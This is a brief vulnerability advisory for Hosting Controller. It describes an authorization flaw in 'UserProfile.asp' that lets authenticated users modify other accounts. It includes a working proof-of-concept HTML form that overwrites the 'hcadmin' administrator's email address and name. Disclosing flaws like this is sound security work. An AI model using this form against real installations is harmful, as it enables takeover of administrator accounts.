Hosting Controller is prone to an unauthorized access vulnerability.

Reportedly an authenticated user can modify other user's profiles. This issue is due to a failure in the application to perform proper authentication before providing access to 'UserProfile.asp'.

Change users profiles:
<form
action="http://www.example.com/admin//accounts/UserProfile.asp?action=updateprofile"
method="post">
Username : <input name="UserList" value="hcadmin"
type="text" size="50">
<br>
emailaddress : <input name="emailaddress"
value="Crkchat@msn.com" type="text" size="50">
<br>
firstname : <input name="firstname" value="Crkchat"
type="text" size="50">
<br>
<input name="submit" value="submit" type="submit">
</form>
